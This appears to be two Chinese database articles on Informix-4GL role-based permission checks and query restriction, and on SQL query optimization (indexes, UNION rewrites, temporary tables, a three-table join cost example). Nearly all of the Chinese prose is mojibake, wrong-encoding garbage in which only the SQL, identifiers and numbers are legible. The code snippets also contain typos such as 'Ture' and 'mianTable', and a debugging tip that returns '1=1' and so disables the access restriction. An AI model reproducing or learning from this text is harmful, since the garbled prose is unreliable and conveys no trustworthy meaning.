¡¡¡¡ÒÔÏÂÊDZíÖеIJ¿·ÖÊý¾Ý£º
¡¡¡¡000000¡¡¡¡¹ÜÀíÔ±
¡¡¡¡230010¡¡¡¡ÕÅÈý
¡¡¡¡¡­¡­¡¡¡¡¡­¡­
¡¡¡¡ÁíÒ»ÕűíΪpermissionContro1£¬ÓÃÓÚ´æ·Å²Ù×÷ԱȨÏÞ¿ØÖÆ±í¡£
¡¡¡¡Create Table permissionControl(
¡¡¡¡¡¡¡¡opCode Char(6),
¡¡¡¡¡¡¡¡permissionName Char(20),
¡¡¡¡)
¡¡¡¡ÒÔÏÂÊDZíÖеIJ¿·ÖÊý¾Ý£º
¡¡¡¡230010¡¡¡¡Â¼Èë
¡¡¡¡230010¡¡¡¡²éѯ
¡¡¡¡230010¡¡¡¡Í³¼Æ
¡¡¡¡¡­¡­¡¡¡¡¡­¡­
¡¡¡¡ÔÚÒª½øÐÐȨÏÞ¿ØÖƵĺ¯ÊýÖУ¬¼ÓÉÏȨÏÞ¿ØÖƼìÑ麯Êý£¬½øÐÐȨÏÞ¿ØÖÆ¡£
¡¡¡¡º¯ÊýÃû£º checkPermission
¡¡¡¡Èë¡¡¿Ú£º opCode¡¡¡¡ ²Ù×÷Ô±´úÂë
¡¡¡¡¡¡¡¡¡¡ ¡¡permissionName¡¡¡¡È¨ÏÞÃû³Æ
¡¡¡¡³ö¡¡¿Ú£º Ture ¡¡¡¡¾ßÓÐȨÏÞ
¡¡¡¡ ¡¡¡¡¡¡¡¡False¡¡ ¡¡²»¾ßÓÐȨÏÞ
¡¡¡¡º¯ÊýcheckPermission µÄ¹¦ÄܾÍÊÇ´Ó±ípermissionContro1 ÖУ¬²éÕÒÊÇ·ñÓÐopCode µÈÓÚÈë¿Ú²ÎÊýopCode,permissionName µÈÓÚÈë¿Ú²ÎÊýpermissionName µÄ¼Ç¼£¬ÈçÓУ¬Ôò·µTure £¬·ñÔò·µ»ØFalse¡£
¡¡¡¡ÈçÔÚ¼È뺯ÊýÖУ¬
¡¡¡¡Function inputMainTable()
¡¡¡¡If checkPermisson(p£­opCode,¡°Â¼È롱)=False Then
¡¡¡¡ Error¡°ÎÞ´ËȨÏÞ¡±
¡¡¡¡ Return
¡¡¡¡End If
¡¡¡¡¡­¡­
¡¡¡¡³ÌÐòÖ÷Ìå
¡¡¡¡¡­¡­
¡¡¡¡End Function

Èý¡¢ ÏÞÖƲéѯ³ÌÐòÉè¼Æ˼Ïë
¡¡¡¡ÏÞÖƲéѯ³ÌÐòµÄÉè¼Æ˼ÏëÊÇÔÚÉÏÃæµÄ°²È«Ë¼Ïë»ù´¡ÉϽøÐÐÀ©³ä¡£
¡¡¡¡1.ÔÚÈËÔ±±àÂëÖУ¬¿¼ÂÇÈËÔ±µÄ¼¶±ð£¬ÈËÔ±ËùÊô²¿ÃÅ£¬¼´½øÐйæÔò±àÂë¡£
¡¡¡¡ÈËÔ±±àÂëΪ6룬·ÖÈý¸ö²¿·Ö£º
¡¡¡¡µÚÒ»²¿·Ö£¬µÚһ룬±íʾÈËÔ±µÄ¼¶±ð£º
¡¡¡¡0¡¡¡¡Ð£³¤
¡¡¡¡1¡¡¡¡¸±Ð£³¤
¡¡¡¡2¡¡¡¡½ÌÑÐÊÒÖ÷ÈÎ
¡¡¡¡3¡¡¡¡½ÌÑÐÊÒ¸±Ö÷ÈÎ
¡¡¡¡4¡¡¡¡½Ìʦ
¡¡¡¡µÚ¶þ²¿·Ö£¬µÚ¶þ¡¢ÈýÁ½Î»£¬¿ÆÊÒ±àÂë¡£
¡¡¡¡µÚÈý²¿·Ö£¬ÈËÔ±Á÷Ë®ºÅ¡£
¡¡¡¡ÕâÖÖÈËÔ±±àÂ룬¼Ó½øÁËÈËÔ±µÄ¼¶±ð¡¢¿ÆÊҵıàÂ룬ÆäÄ¿µÄÊÇΪÁË´ÓÈËÔ±µÄ±àÂëÖУ¬¿ÉÒÔ·½±ãµØÅжϳöÈËÔ±µÄ¼¶±ð¡¢ËùÊô¿ÆÊÒ£¬´Ó¶øΪÏÞÖƲéѯÌṩ±ØÒªµÄÐÅÏ¢¡£
¡¡¡¡2.ÔÚÊý¾Ý±íÖУ¬Ôö¼ÓÒµÎñÔ±´úÂë(ywyCode)×ֶΡ£
¡¡¡¡3.ÔÚÊäÈë²éѯÌõ¼þºó£¬µ÷Óú¯ÊýgetQueryStrings(opCode)·µ»ØÒ»×Ö·û´®¡£
¡¡¡¡4.½«·µ»ØµÄ×Ö·û´®ÓëÔ­À´µÄ²éѯÌõ¼þANDÁ¬½Ó£¬³ÉΪеIJéѯÌõ¼þ£¬°´Õâ¸öÌõ¼þ´ÓÊý¾Ý¿âÖÐSelectÊý¾Ý£¬½«Âú×ãÉÏÊöÒµÎñÐèÇó¡£
¡¡¡¡ÒÔÏÂÓÃInformix£­4GLÓïÑÔ£¬ÊµÏÖÉÏÊöÉè¼Æ˼ÏëµÄÖ÷ÒªÓï¾ä£º
¡¡¡¡Construct By Name qs1 On mainTable.£ª
¡¡¡¡Let qs2=¡°Select£ªFrom mianTable Where¡±,qs1 Clipped
¡¡¡¡Let queryString=getQueryStrings(p_opCode.opCode)
¡¡¡¡Let qs2=qs2 Clipped, ¡°And¡±, queryStrings Clipped
¡¡¡¡Prepare preQuery From qs2
¡¡¡¡Declare curQuery Cursor For preQuery
¡¡¡¡Foreach curQuery Into p£­policy.£ª
¡¡¡¡££´Ë´¦ÊǶÔÂú×ãÌõ¼þµÄÿһÌõ¼Ç¼µÄ´¦Àí
¡¡¡¡End Foreach
¡¡¡¡º¯ÊýgetQueryStrings
¡¡¡¡Èë¿Ú²ÎÊý£º opCode ²Ù×÷Ô±´úÂë
¡¡¡¡³ö¿Ú²ÎÊý£º strings ¸ù¾Ý²»Í¬µÄ²Ù×÷ÈËÔ±£¬·µ»Ø²»Í¬µÄ²éѯÌõ¼þ×Ö·û´®
¡¡¡¡Function getQueryStrings(t_opCode)
¡¡¡¡Define t_opCode Char(3)
¡¡¡¡Define queryStrings Char(100)
¡¡¡¡Case t_opCode[1£¬1]
¡¡¡¡When ¡°0¡±
¡¡¡¡When ¡°1¡±
¡¡¡¡ Let queryStrings=¡°1=1¡±
¡¡¡¡When ¡°2¡±
¡¡¡¡When ¡°3¡±
¡¡¡¡ Let queryStrings=¡°ywyCode[2£¬3]=
¡¡¡¡ \'''',t_opCode[2£¬3]£¬''\''''
¡¡¡¡When ¡°4¡±
¡¡¡¡When ¡°5¡±
¡¡¡¡ Let queryStrings=¡°ywyCode=\'''',t_opCode,''\''''
¡¡¡¡End Case
¡¡¡¡Return queryStrings
End Function
¡¡¡¡ÔÚº¯ÊýÖУ¬µ±²Ù×÷Ô±´úÂëµÚһλΪ0»ò1ʱ£¬·µ»Ø1=1£¬¼´¶Ô²éѯÌõ¼þ²»×÷Èκθ½¼ÓÏÞÖÆ¡£µ±²Ù×÷Ô±´úÂëµÚһλΪ2»ò3ʱ£¬·µ»ØywyCodeµÄµÚ¶þ£¬µÚÈýλµÈÓÚopCodeµÄµÚ¶þ£¬µÚÈýλ¡£¸ù¾Ý±àÂë¹æÔò£¬´Ë²Ù×÷ԱΪ½ÌÑÐÊÒÖ÷ÈΣ¬Òò´ËÏÞÖÆÖ»Äܲéѯ±¾¿ÆµÄ¡£µ±²Ù×÷Ô±´úÂëµÚһλΪ4»ò5ʱ£¬·µ»ØywyCode µÈÓÚopCode¡£¸ù¾Ý±àÂë¹æÔò£¬´Ë²Ù×÷ԱΪҵÎñÍâÇÚ£¬Òò´ËÏÞÖÆÖ»Äܲéѯ×Ô¼º¾­ÊÖµÄÒµÎñ¡£
¡¡¡¡ÔÚ³ÌÐòµ÷ÊÔÖУ¬Èç¾õµÃ²»·½±ã£¬¿ÉÒÔÔÚget QueryStringsº¯ÊýÖУ¬Ê¼ÖÕ·µ»Ø¡°1=1¡±¡£
¡¡¡¡ÒÔÉÏÁ½¸ö³ÌÐòÉè¼Æ˼ÏëÖУ¬opCodeÊDzÙ×÷Ô±µÇ¼µÄ²Ù×÷Ô±´úÂë¡£

×÷Õßµ¥Î»£º½­ËÕÊ¡ÑγÇÊÐÎÀÉúѧУ(½­ËÕÑγÇ224001)
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 13:04
Êý¾Ý¿âµÄ²éѯÓÅ»¯¼¼Êõ

ÕÅÔÚ½¨  

Êý¾Ý¿âϵͳÊǹÜÀíÐÅϢϵͳµÄºËÐÄ£¬»ùÓÚÊý¾Ý¿âµÄÁª»úÊÂÎñ´¦Àí£¨OLTP£©ÒÔ¼°Áª»ú·ÖÎö´¦Àí(OLAP)ÊÇÒøÐС¢ÆóÒµ¡¢Õþ¸®µÈ²¿ÃÅ×îΪÖØÒªµÄ¼ÆËã»úÓ¦ÓÃÖ®Ò»¡£´Ó´ó¶àÊýϵͳµÄÓ¦ÓÃʵÀýÀ´¿´£¬²éѯ²Ù×÷ÔÚ¸÷ÖÖÊý¾Ý¿â²Ù×÷ÖÐËùÕ¼¾ÝµÄ±ÈÖØ×î´ó£¬¶ø²éѯ²Ù×÷Ëù»ùÓÚµÄSELECTÓï¾äÔÚSQLÓï¾äÖÐÓÖÊÇ´ú¼Û×î´óµÄÓï¾ä¡£¾ÙÀýÀ´Ëµ£¬Èç¹ûÊý¾ÝµÄÁ¿»ýÀÛµ½Ò»¶¨µÄ³Ì¶È£¬±ÈÈçÒ»¸öÒøÐеÄÕË»§Êý¾Ý¿â±íÐÅÏ¢»ýÀÛµ½ÉÏ°ÙÍòÉõÖÁÉÏǧÍòÌõ¼Ç¼£¬È«±íɨÃèÒ»´ÎÍùÍùÐèÒªÊýÊ®·ÖÖÓ£¬ÉõÖÁÊýСʱ¡£Èç¹û²ÉÓñÈÈ«±íɨÃè¸üºÃµÄ²éѯ²ßÂÔ£¬ÍùÍù¿ÉÒÔʹ²éѯʱ¼ä½µÎª¼¸·ÖÖÓ£¬Óɴ˿ɼû²éѯÓÅ»¯¼¼ÊõµÄÖØÒªÐÔ¡£
±ÊÕßÔÚÓ¦ÓÃÏîÄ¿µÄʵʩÖз¢ÏÖ£¬Ðí¶à³ÌÐòÔ±ÔÚÀûÓÃһЩǰ¶ËÊý¾Ý¿â¿ª·¢¹¤¾ß£¨ÈçPowerBuilder¡¢DelphiµÈ£©¿ª·¢Êý¾Ý¿âÓ¦ÓóÌÐòʱ£¬Ö»×¢ÖØÓû§½çÃæµÄ»ªÀö£¬²¢²»ÖØÊÓ²éѯÓï¾äµÄЧÂÊÎÊÌ⣬µ¼ÖÂËù¿ª·¢³öÀ´µÄÓ¦ÓÃϵͳЧÂʵÍÏ£¬×ÊÔ´ÀË·ÑÑÏÖØ¡£Òò´Ë£¬ÈçºÎÉè¼Æ¸ßЧºÏÀíµÄ²éѯÓï¾ä¾ÍÏԵ÷dz£ÖØÒª¡£±¾ÎÄÒÔÓ¦ÓÃʵÀýΪ»ù´¡£¬½áºÏÊý¾Ý¿âÀíÂÛ£¬½éÉܲéѯÓÅ»¯¼¼ÊõÔÚÏÖʵϵͳÖеÄÔËÓá£
·ÖÎöÎÊÌâ
Ðí¶à³ÌÐòÔ±ÈÏΪ²éѯÓÅ»¯ÊÇDBMS£¨Êý¾Ý¿â¹ÜÀíϵͳ£©µÄÈÎÎñ£¬Óë³ÌÐòÔ±Ëù±àдµÄSQLÓï¾ä¹Øϵ²»´ó£¬ÕâÊÇ´íÎóµÄ¡£Ò»¸öºÃµÄ²éѯ¼Æ»®ÍùÍù¿ÉÒÔʹ³ÌÐòÐÔÄÜÌá¸ßÊýÊ®±¶¡£²éѯ¼Æ»®ÊÇÓû§ËùÌá½»µÄSQLÓï¾äµÄ¼¯ºÏ£¬²éѯ¹æ»®ÊǾ­¹ýÓÅ»¯´¦ÀíÖ®ºóËù²úÉúµÄÓï¾ä¼¯ºÏ¡£DBMS´¦Àí²éѯ¼Æ»®µÄ¹ý³ÌÊÇÕâÑùµÄ£ºÔÚ×öÍê²éѯÓï¾äµÄ´Ê·¨¡¢Óï·¨¼ì²éÖ®ºó£¬½«Óï¾äÌá½»¸øDBMSµÄ²éѯÓÅ»¯Æ÷£¬ÓÅ»¯Æ÷×öÍê´úÊýÓÅ»¯ºÍ´æȡ·¾¶µÄÓÅ»¯Ö®ºó£¬ÓÉÔ¤±àÒëÄ£¿é¶ÔÓï¾ä½øÐд¦Àí²¢Éú³É²éѯ¹æ»®£¬È»ºóÔÚºÏÊʵÄʱ¼äÌá½»¸øϵͳ´¦ÀíÖ´ÐУ¬×îºó½«Ö´Ðнá¹û·µ»Ø¸øÓû§¡£ÔÚʵ¼ÊµÄÊý¾Ý¿â²úÆ·(ÈçOracle¡¢SybaseµÈ)µÄ¸ß°æ±¾Öж¼ÊDzÉÓûùÓÚ´ú¼ÛµÄÓÅ»¯·½·¨£¬ÕâÖÖÓÅ»¯Äܸù¾Ý´Óϵͳ×Öµä±íËùµÃµ½µÄÐÅÏ¢À´¹À¼Æ²»Í¬µÄ²éѯ¹æ»®µÄ´ú¼Û£¬È»ºóÑ¡ÔñÒ»¸ö½ÏÓŵĹ滮¡£ËäÈ»ÏÖÔÚµÄÊý¾Ý¿â²úÆ·ÔÚ²éѯÓÅ»¯·½ÃæÒѾ­×öµÃÔ½À´Ô½ºÃ£¬µ«ÓÉÓû§Ìá½»µÄSQLÓï¾äÊÇϵͳÓÅ»¯µÄ»ù´¡£¬ºÜÄÑÉèÏëÒ»¸öÔ­±¾Ôã¸âµÄ²éѯ¼Æ»®¾­¹ýϵͳµÄÓÅ»¯Ö®ºó»á±äµÃ¸ßЧ£¬Òò´ËÓû§ËùдÓï¾äµÄÓÅÁÓÖÁ¹ØÖØÒª¡£ÏµÍ³Ëù×ö²éѯÓÅ»¯ÎÒÃÇÔݲ»ÌÖÂÛ£¬ÏÂÃæÖصã˵Ã÷¸ÄÉÆÓû§²éѯ¼Æ»®µÄ½â¾ö·½°¸¡£  
½â¾öÎÊÌâ
ÏÂÃæÒÔ¹ØϵÊý¾Ý¿âϵͳInformixΪÀý£¬½éÉܸÄÉÆÓû§²éѯ¼Æ»®µÄ·½·¨¡£
1£®ºÏÀíʹÓÃË÷Òý
Ë÷ÒýÊÇÊý¾Ý¿âÖÐÖØÒªµÄÊý¾Ý½á¹¹£¬ËüµÄ¸ù±¾Ä¿µÄ¾ÍÊÇΪÁËÌá¸ß²éѯЧÂÊ¡£ÏÖÔÚ´ó¶àÊýµÄÊý¾Ý¿â²úÆ·¶¼²ÉÓÃIBM×îÏÈÌá³öµÄISAMË÷Òý½á¹¹¡£Ë÷ÒýµÄʹÓÃҪǡµ½ºÃ´¦£¬ÆäʹÓÃÔ­ÔòÈçÏ£º
¡ñÔÚ¾­³£½øÐÐÁ¬½Ó£¬µ«ÊÇûÓÐÖ¸¶¨ÎªÍâ¼üµÄÁÐÉϽ¨Á¢Ë÷Òý£¬¶ø²»¾­³£Á¬½ÓµÄ×Ö¶ÎÔòÓÉÓÅ»¯Æ÷×Ô¶¯Éú³ÉË÷Òý¡£
¡ñÔÚƵ·±½øÐÐÅÅÐò»ò·Ö×飨¼´½øÐÐgroup by»òorder by²Ù×÷£©µÄÁÐÉϽ¨Á¢Ë÷Òý¡£
¡ñÔÚÌõ¼þ±í´ïʽÖо­³£Óõ½µÄ²»Í¬Öµ½Ï¶àµÄÁÐÉϽ¨Á¢¼ìË÷£¬ÔÚ²»Í¬ÖµÉÙµÄÁÐÉϲ»Òª½¨Á¢Ë÷Òý¡£±ÈÈçÔÚ¹ÍÔ±±íµÄ¡°ÐÔ±ð¡±ÁÐÉÏÖ»ÓС°ÄС±Óë¡°Å®¡±Á½¸ö²»Í¬Öµ£¬Òò´Ë¾ÍÎÞ±ØÒª½¨Á¢Ë÷Òý¡£Èç¹û½¨Á¢Ë÷Òý²»µ«²»»áÌá¸ß²éѯЧÂÊ£¬·´¶ø»áÑÏÖؽµµÍ¸üÐÂËٶȡ£
¡ñÈç¹û´ýÅÅÐòµÄÁÐÓжà¸ö£¬¿ÉÒÔÔÚÕâЩÁÐÉϽ¨Á¢¸´ºÏË÷Òý£¨compound index£©¡£
¡ñʹÓÃϵͳ¹¤¾ß¡£ÈçInformixÊý¾Ý¿âÓÐÒ»¸ötbcheck¹¤¾ß£¬¿ÉÒÔÔÚ¿ÉÒɵÄË÷ÒýÉϽøÐмì²é¡£ÔÚһЩÊý¾Ý¿â·þÎñÆ÷ÉÏ£¬Ë÷Òý¿ÉÄÜʧЧ»òÕßÒòΪƵ·±²Ù×÷¶øʹµÃ¶ÁȡЧÂʽµµÍ£¬Èç¹ûÒ»¸öʹÓÃË÷ÒýµÄ²éѯ²»Ã÷²»°×µØÂýÏÂÀ´£¬¿ÉÒÔÊÔ×ÅÓÃtbcheck¹¤¾ß¼ì²éË÷ÒýµÄÍêÕûÐÔ£¬±ØҪʱ½øÐÐÐÞ¸´¡£ÁíÍ⣬µ±Êý¾Ý¿â±í¸üдóÁ¿Êý¾Ýºó£¬É¾³ý²¢Öؽ¨Ë÷Òý¿ÉÒÔÌá¸ß²éѯËٶȡ£
2£®±ÜÃâ»ò¼ò»¯ÅÅÐò
Ó¦µ±¼ò»¯»ò±ÜÃâ¶Ô´óÐͱí½øÐÐÖظ´µÄÅÅÐò¡£µ±Äܹ»ÀûÓÃË÷Òý×Ô¶¯ÒÔÊʵ±µÄ´ÎÐò²úÉúÊä³öʱ£¬ÓÅ»¯Æ÷¾Í±ÜÃâÁËÅÅÐòµÄ²½Öè¡£ÒÔÏÂÊÇһЩӰÏìÒòËØ£º
¡ñË÷ÒýÖв»°üÀ¨Ò»¸ö»ò¼¸¸ö´ýÅÅÐòµÄÁУ»
¡ñgroup by»òorder by×Ó¾äÖÐÁеĴÎÐòÓëË÷ÒýµÄ´ÎÐò²»Ò»Ñù£»
¡ñÅÅÐòµÄÁÐÀ´×Ô²»Í¬µÄ±í¡£
ΪÁ˱ÜÃâ²»±ØÒªµÄÅÅÐò£¬¾ÍÒªÕýÈ·µØÔö½¨Ë÷Òý£¬ºÏÀíµØºÏ²¢Êý¾Ý¿â±í£¨¾¡¹ÜÓÐʱ¿ÉÄÜÓ°Ïì±íµÄ¹æ·¶»¯£¬µ«Ïà¶ÔÓÚЧÂʵÄÌá¸ßÊÇÖµµÃµÄ£©¡£Èç¹ûÅÅÐò²»¿É±ÜÃ⣬ÄÇôӦµ±ÊÔͼ¼ò»¯Ëü£¬ÈçËõСÅÅÐòµÄÁеķ¶Î§µÈ¡£
3£®Ïû³ý¶Ô´óÐͱíÐÐÊý¾ÝµÄ˳Ðò´æÈ¡
ÔÚǶÌײéѯÖУ¬¶Ô±íµÄ˳Ðò´æÈ¡¶Ô²éѯЧÂÊ¿ÉÄܲúÉúÖÂÃüµÄÓ°Ïì¡£±ÈÈç²ÉÓÃ˳Ðò´æÈ¡²ßÂÔ£¬Ò»¸öǶÌ×3²ãµÄ²éѯ£¬Èç¹ûÿ²ã¶¼²éѯ1000ÐУ¬ÄÇôÕâ¸ö²éѯ¾ÍÒª²éѯ10ÒÚÐÐÊý¾Ý¡£±ÜÃâÕâÖÖÇé¿öµÄÖ÷Òª·½·¨¾ÍÊǶÔÁ¬½ÓµÄÁнøÐÐË÷Òý¡£ÀýÈ磬Á½¸ö±í£ºÑ§Éú±í£¨Ñ§ºÅ¡¢ÐÕÃû¡¢ÄêÁä¡­¡­£©ºÍÑ¡¿Î±í£¨Ñ§ºÅ¡¢¿Î³ÌºÅ¡¢³É¼¨£©¡£Èç¹ûÁ½¸ö±íÒª×öÁ¬½Ó£¬¾ÍÒªÔÚ¡°Ñ§ºÅ¡±Õâ¸öÁ¬½Ó×Ö¶ÎÉϽ¨Á¢Ë÷Òý¡£
»¹¿ÉÒÔʹÓò¢¼¯À´±ÜÃâ˳Ðò´æÈ¡¡£¾¡¹ÜÔÚËùÓеļì²éÁÐÉ϶¼ÓÐË÷Òý£¬µ«Ä³Ð©ÐÎʽµÄwhere×Ó¾äÇ¿ÆÈÓÅ»¯Æ÷ʹÓÃ˳Ðò´æÈ¡¡£ÏÂÃæµÄ²éѯ½«Ç¿ÆȶÔorders±íÖ´ÐÐ˳Ðò²Ù×÷£º
SELECT £ª FROM orders WHERE (customer_num=104 AND order_num>1001) OR order_num=1008
ËäÈ»ÔÚcustomer_numºÍorder_numÉϽ¨ÓÐË÷Òý£¬µ«ÊÇÔÚÉÏÃæµÄÓï¾äÖÐÓÅ»¯Æ÷»¹ÊÇʹÓÃ˳Ðò´æȡ·¾¶É¨ÃèÕû¸ö±í¡£ÒòΪÕâ¸öÓï¾äÒª¼ìË÷µÄÊÇ·ÖÀëµÄÐеļ¯ºÏ£¬ËùÒÔÓ¦¸Ã¸ÄΪÈçÏÂÓï¾ä£º
SELECT £ª FROM orders WHERE customer_num=104 AND order_num>1001
UNION
SELECT £ª FROM orders WHERE order_num=1008
ÕâÑù¾ÍÄÜÀûÓÃË÷Òý·¾¶´¦Àí²éѯ¡£
4£®±ÜÃâÏà¹Ø×Ó²éѯ
Ò»¸öÁеıêǩͬʱÔÚÖ÷²éѯºÍwhere×Ó¾äÖеIJéѯÖгöÏÖ£¬ÄÇôºÜ¿ÉÄܵ±Ö÷²éѯÖеÄÁÐÖµ¸Ä±äÖ®ºó£¬×Ó²éѯ±ØÐëÖØвéѯһ´Î¡£²éѯǶÌײã´ÎÔ½¶à£¬Ð§ÂÊÔ½µÍ£¬Òò´ËÓ¦µ±¾¡Á¿±ÜÃâ×Ó²éѯ¡£Èç¹û×Ó²éѯ²»¿É±ÜÃ⣬ÄÇôҪÔÚ×Ó²éѯÖйýÂ˵ô¾¡¿ÉÄܶàµÄÐС£
5£®±ÜÃâÀ§ÄѵÄÕý¹æ±í´ïʽ
MATCHESºÍLIKE¹Ø¼ü×ÖÖ§³ÖͨÅä·ûÆ¥Å䣬¼¼ÊõÉϽÐÕý¹æ±í´ïʽ¡£µ«ÕâÖÖÆ¥ÅäÌرðºÄ·Ñʱ¼ä¡£ÀýÈ磺SELECT £ª FROM customer WHERE zipcode LIKE ¡°98_ _ _¡±
¼´Ê¹ÔÚzipcode×Ö¶ÎÉϽ¨Á¢ÁËË÷Òý£¬ÔÚÕâÖÖÇé¿öÏÂÒ²»¹ÊDzÉÓÃ˳ÐòɨÃèµÄ·½Ê½¡£Èç¹û°ÑÓï¾ä¸ÄΪSELECT £ª FROM customer WHERE zipcode >¡°98000¡±£¬ÔÚÖ´Ðвéѯʱ¾Í»áÀûÓÃË÷ÒýÀ´²éѯ£¬ÏÔÈ»»á´ó´óÌá¸ßËٶȡ£
ÁíÍ⣬»¹Òª±ÜÃâ·Ç¿ªÊ¼µÄ×Ó´®¡£ÀýÈçÓï¾ä£ºSELECT £ª FROM customer WHERE zipcode[2£¬3] >¡°80¡±£¬ÔÚwhere×Ó¾äÖвÉÓÃÁË·Ç¿ªÊ¼×Ó´®£¬Òò¶øÕâ¸öÓï¾äÒ²²»»áʹÓÃË÷Òý¡£
6£®Ê¹ÓÃÁÙʱ±í¼ÓËÙ²éѯ
°Ñ±íµÄÒ»¸ö×Ó¼¯½øÐÐÅÅÐò²¢´´½¨ÁÙʱ±í£¬ÓÐʱÄܼÓËÙ²éѯ¡£ËüÓÐÖúÓÚ±ÜÃâ¶àÖØÅÅÐò²Ù×÷£¬¶øÇÒÔÚÆäËû·½Ã滹Äܼò»¯ÓÅ»¯Æ÷µÄ¹¤×÷¡£ÀýÈ磺
SELECT cust.name£¬rcvbles.balance£¬¡­¡­other columns
FROM cust£¬rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
AND cust.postcode>¡°98000¡±
ORDER BY cust.name
Èç¹ûÕâ¸ö²éѯҪ±»Ö´Ðжà´Î¶ø²»Ö¹Ò»´Î£¬¿ÉÒÔ°ÑËùÓÐδ¸¶¿îµÄ¿Í»§ÕÒ³öÀ´·ÅÔÚÒ»¸öÁÙʱÎļþÖУ¬²¢°´¿Í»§µÄÃû×Ö½øÐÐÅÅÐò£º
SELECT cust.name£¬rcvbles.balance£¬¡­¡­other columns
FROM cust£¬rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
ORDER BY cust.name
INTO TEMP cust_with_balance
È»ºóÒÔÏÂÃæµÄ·½Ê½ÔÚÁÙʱ±íÖвéѯ£º
SELECT £ª FROM cust_with_balance
WHERE postcode>¡°98000¡±
ÁÙʱ±íÖеÄÐÐÒª±ÈÖ÷±íÖеÄÐÐÉÙ£¬¶øÇÒÎïÀí˳Ðò¾ÍÊÇËùÒªÇóµÄ˳Ðò£¬¼õÉÙÁË´ÅÅÌI/O£¬ËùÒÔ²éѯ¹¤×÷Á¿¿ÉÒԵõ½´ó·ù¼õÉÙ¡£
×¢Ò⣺ÁÙʱ±í´´½¨ºó²»»á·´Ó³Ö÷±íµÄÐ޸ġ£ÔÚÖ÷±íÖÐÊý¾ÝƵ·±Ð޸ĵÄÇé¿öÏ£¬×¢Òâ²»Òª¶ªÊ§Êý¾Ý¡£
7£®ÓÃÅÅÐòÀ´È¡´ú·Ç˳Ðò´æÈ¡
·Ç˳Ðò´ÅÅÌ´æÈ¡ÊÇ×îÂýµÄ²Ù×÷£¬±íÏÖÔÚ´ÅÅÌ´æÈ¡±ÛµÄÀ´»ØÒƶ¯¡£SQLÓï¾äÒþ²ØÁËÕâÒ»Çé¿ö£¬Ê¹µÃÎÒÃÇÔÚдӦÓóÌÐòʱºÜÈÝÒ×д³öÒªÇó´æÈ¡´óÁ¿·Ç˳ÐòÒ³µÄ²éѯ¡£
ÓÐЩʱºò£¬ÓÃÊý¾Ý¿âµÄÅÅÐòÄÜÁ¦À´Ìæ´ú·Ç˳ÐòµÄ´æÈ¡ÄܸĽø²éѯ¡£
ʵÀý·ÖÎö
ÏÂÃæÎÒÃǾÙÒ»¸öÖÆÔ칫˾µÄÀý×ÓÀ´ËµÃ÷ÈçºÎ½øÐвéѯÓÅ»¯¡£ÖÆÔ칫˾Êý¾Ý¿âÖаüÀ¨3¸ö±í£¬Ä£Ê½ÈçÏÂËùʾ£º
1£®part±í
Áã¼þºÅ?????Áã¼þÃèÊö????????ÆäËûÁÐ
£¨part_num£©?£¨part_desc£©??????£¨other column£©
102£¬032???Seageat 30G disk?????¡­¡­
500£¬049???Novel 10M network card??¡­¡­
¡­¡­
2£®vendor±í
³§É̺Å??????³§ÉÌÃû??????ÆäËûÁÐ
£¨vendor _num£©?£¨vendor_name£© £¨other column£©
910£¬257?????Seageat Corp???¡­¡­
523£¬045?????IBM Corp?????¡­¡­
¡­¡­
3£®parven±í
Áã¼þºÅ?????³§É̺Å?????Áã¼þÊýÁ¿
£¨part_num£©?£¨vendor_num£©?£¨part_amount£©
102£¬032????910£¬257????3,450,000
234£¬423????321£¬001????4£¬000£¬000
¡­¡­
ÏÂÃæµÄ²éѯ½«ÔÚÕâЩ±íÉ϶¨ÆÚÔËÐУ¬²¢²úÉú¹ØÓÚËùÓÐÁã¼þÊýÁ¿µÄ±¨±í£º
SELECT part_desc£¬vendor_name£¬part_amount
FROM part£¬vendor£¬parven
WHERE part.part_num=parven.part_num
AND parven.vendor_num = vendor.vendor_num
ORDER BY part.part_num
Èç¹û²»½¨Á¢Ë÷Òý£¬ÉÏÊö²éѯ´úÂëµÄ¿ªÏú½«Ê®·Ö¾Þ´ó¡£Îª´Ë£¬ÎÒÃÇÔÚÁã¼þºÅºÍ³§É̺ÅÉϽ¨Á¢Ë÷Òý¡£Ë÷ÒýµÄ½¨Á¢±ÜÃâÁËÔÚǶÌ×Öз´¸´É¨Ãè¡£¹ØÓÚ±íÓëË÷ÒýµÄͳ¼ÆÐÅÏ¢ÈçÏ£º
±í?????Ðгߴç???ÐÐÊýÁ¿?????ÿҳÐÐÊýÁ¿???Êý¾ÝÒ³ÊýÁ¿
£¨table£©?(row size)?£¨Row count£©?£¨Rows/Pages£©?£¨Data Pages£©
part????150?????10£¬000????25???????400
Vendor???150?????1£¬000???? 25???????40
Parven???13????? 15£¬000????300?????? 50
Ë÷Òý?????¼ü³ß´ç???ÿҳ¼üÊýÁ¿???Ò³ÃæÊýÁ¿
£¨Indexes£©?(Key Size)?£¨Keys/Page)???(Leaf Pages£©
part?????4??????500???????20
Vendor????4??????500???????2
Parven????8??????250???????60
¿´ÆðÀ´ÊǸöÏà¶Ô¼òµ¥µÄ3±íÁ¬½Ó£¬µ«ÊÇÆä²éѯ¿ªÏúÊǺܴóµÄ¡£Í¨¹ý²é¿´ÏµÍ³±í¿ÉÒÔ¿´µ½£¬ÔÚpart_numÉϺÍvendor_numÉÏÓдØË÷Òý£¬Òò´ËË÷ÒýÊÇ°´ÕÕÎïÀí˳Ðò´æ·ÅµÄ¡£parven±íûÓÐÌض¨µÄ´æ·Å´ÎÐò¡£ÕâЩ±íµÄ´óС˵Ã÷´Ó»º³åÒ³ÖзÇ˳Ðò´æÈ¡µÄ³É¹¦ÂʺÜС¡£´ËÓï¾äµÄÓÅ»¯²éѯ¹æ»®ÊÇ£ºÊ×ÏÈ´ÓpartÖÐ˳Ðò¶ÁÈ¡400Ò³£¬È»ºóÔÙ¶Ôparven±í·Ç˳Ðò´æÈ¡1Íò´Î£¬Ã¿´Î2Ò³£¨Ò»¸öË÷ÒýÒ³¡¢Ò»¸öÊý¾ÝÒ³£©£¬×ܼÆ2Íò¸ö´ÅÅÌÒ³£¬×îºó¶Ôvendor±í·Ç˳Ðò´æÈ¡1.5Íò´Î£¬ºÏ3Íò¸ö´ÅÅÌÒ³¡£¿ÉÒÔ¿´³öÔÚÕâ¸öË÷ÒýºÃµÄÁ¬½ÓÉÏ»¨·ÑµÄ´ÅÅÌ´æȡΪ5.04Íò´Î¡£
